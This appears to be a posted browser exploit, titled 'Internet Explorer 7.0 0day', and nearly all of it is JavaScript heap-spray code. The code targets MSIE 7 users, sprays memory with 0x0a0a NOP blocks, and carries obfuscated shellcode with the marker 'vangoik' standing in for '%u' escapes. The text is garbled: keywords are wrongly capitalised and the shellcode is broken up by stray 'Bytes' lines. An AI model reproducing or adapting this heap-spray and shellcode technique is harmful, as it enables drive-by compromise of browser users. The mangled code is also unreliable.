Internet Explorer 7.0 0day

<Script language = "javascript">
If (navigator. userAgent. toLowerCase (). indexOf ("msie 7") =-1) location. replace ("about: blank ");

Function sleep (milliseconds)
{
Var start = new Date (). getTime ();

For (var I = 0; I <1e7; I ++)
{If (new Date (). getTime ()-start)> milliseconds)
{Break}
}
}

Function spray (SC)
{
Var infect = unescape (SC. replace (/vangoik/g, "x25x75 "));
Var heapBlockSize = 0x100000;
Var payLoadSize = infect. length * 2;
Var szlong = heapBlockSize-(payLoadSize + 0x038 );
Var retVal = unescape ("% u0a0a % u0a0a ");
RetVal = getSampleValue (retVal, szlong );
Aaablk = (0x0a0a0a-0x100000)/heapBlockSize;
Zzchuck = new Array ();
For (I = 0; I <aaablk; I ++) {zzchuck [I] = retVal + infect}
}

Function getSampleValue (retVal, szlong)
{
While (retVal. length * 2 <szlong)
{RetVal + = retVal}
RetVal = retVal. substring (0, szlong/2 );
Return retVal
}

Var a1 = "vangoik ";
Spray (a1 + "9090" + a1 + "random

Bytes
Angoik2121vangoik4521vangoik2580vangoik2121vangoikAC21vangoi!
K4181van
Bytes

Bytes
Ngoik34CAvangoik65ACvangoik2505vangoikC971vangoikDCF0vangoik!
DEDEvang
Bytes

Bytes
GoikDF5FvangoikDEDEvangoik3B49vangoik3F5Bvangoik7123vangoikE!
3C9vango
Bytes